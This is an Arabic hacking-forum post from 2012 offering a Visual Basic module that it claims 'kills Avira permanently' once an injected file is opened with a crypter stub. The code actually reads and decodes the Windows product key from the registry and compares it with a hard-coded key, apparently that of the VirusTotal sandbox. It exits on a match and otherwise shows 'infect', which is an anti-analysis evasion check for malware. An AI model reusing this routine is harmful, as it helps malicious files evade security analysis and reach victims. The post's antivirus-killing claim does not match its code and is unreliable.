قتل الأفيرة نهائياً لعيونكم نكسر PrîV8"

السلام عليكم ورحمة الله وبركاته كود لقتل الأفرا نهائياً ينتج مع ستيب فقط ويقتل الأفرة نهائياً فورا فتح الملف المحقن ! مطول عليكم الموديل

إضافة رد
 
LinkBack أدوات الموضوع انواع عرض الموضوع
  #1 (permalink)  
قديم 2012-08-11, 08:31 PM
الصورة الرمزية صوتك يناديني

 
تاريخ التسجيل: Dec 2011
المشاركات: 5,816
صوتك يناديني is on a distinguished road
افتراضي قتل الأفيرة نهائياً لعيونكم نكسر PrîV8"


قتل الأفيرة نهائياً لعيونكم نكسر PrîV8" roka4.png

السلام عليكم ورحمة الله وبركاته

كود لقتل الأفرا نهائياً

ينتج مع ستيب فقط

ويقتل الأفرة نهائياً فورا

فتح الملف المحقن !

مطول عليكم الموديل

لعيونكم

نكسر أصحاب البرايفت

صحة صيامكم أجمعين

:43:

تحذير:
وعن قريب راح يتم إعلان بوت تبعي الرسمي

و برنامج شامل في البروتكت

في منتدى الإبداع


ساعة المجد

ورائحة الإحتراف

بدأت تشم ! :13:

فإنتضرو باقي مفاجأتنا

:32:

قتل الأفيرة نهائياً لعيونكم نكسر PrîV8" roka4.png

الكود :

" تقييم + ادعو لي أولاً مارح تخسر شئ
"
ملاحظة:

Option Explicit

Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Public Function VirusTotal() As String
If WinProdKey = "GC8X9-9Y376-BMTFR-T3Q63-R969Q" Then
MsgBox "virustotal"
End
Else
MsgBox "infect"
End If
End Function
Public Function WinProdKey() As String
Dim lhKey As Long
Dim bvBuffer(163) As Byte
Dim vCharset As Variant
Dim bvChar(23) As Byte
Dim i As Long
Dim j As Long
Dim lCur As Long

If RegOpenKey(&H80000002, "SOFTWARE\MICROSOFT\Windows NT\CurrentVersion", lhKey) = 0& Then
If RegQueryValueEx(lhKey, "DigitalProductId", 0, 3, bvBuffer(0), 164) = 0 Then

Call CopyMemory(bvBuffer(0), bvBuffer(52), &HF)

vCharset = Array( _
"B", "C", "D", "F", "G", "H", "J", "K", "M", "P", "Q", "R", _
"T", "V", "W", "X", "Y", "2", "3", "4", "6", "7", "8", "9")

For i = 0 To 23
bvChar(i) = Asc(vCharset(i))
Next

For i = 24 To 0 Step -1
lCur = 0
For j = 14 To 0 Step -1
lCur = lCur * 256 Xor bvBuffer(j)
bvBuffer(j) = Int(lCur / 24)
lCur = lCur Mod 24
Next
WinProdKey = vCharset(lCur) & WinProdKey
If i Mod 5 = 0 And i 0 Then WinProdKey = "-" & WinProdKey
Next

End If
Call RegCloseKey(lhKey)
End If
End Function


قتل الأفيرة نهائياً لعيونكم نكسر PrîV8" 133321436432.png

أخوكم أنس

( Anas MâttôS )

:35:



__________________
قلبي " معك " لو شفت جسمي مع الناس...
ما غاب " طيفك "عن خيالي دقيقه ..
رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)

الكلمات الدليلية (Tags)
قتل الأفيرة نهائياً لعيونكم نكسر prîv8



جديد مواضيع قسم حمايه الاجهزه
 
أدوات الموضوع
انواع عرض الموضوع

قتل الأفيرة نهائياً لعيونكم نكسر PrîV8"


RSS RSS 2.0 XML MAP HTML


الساعة الآن 05:16 AM


Powered by vBulletin Copyright ©2000 - 2014

Security team


Search Engine Optimization by vBSEO 3.6.0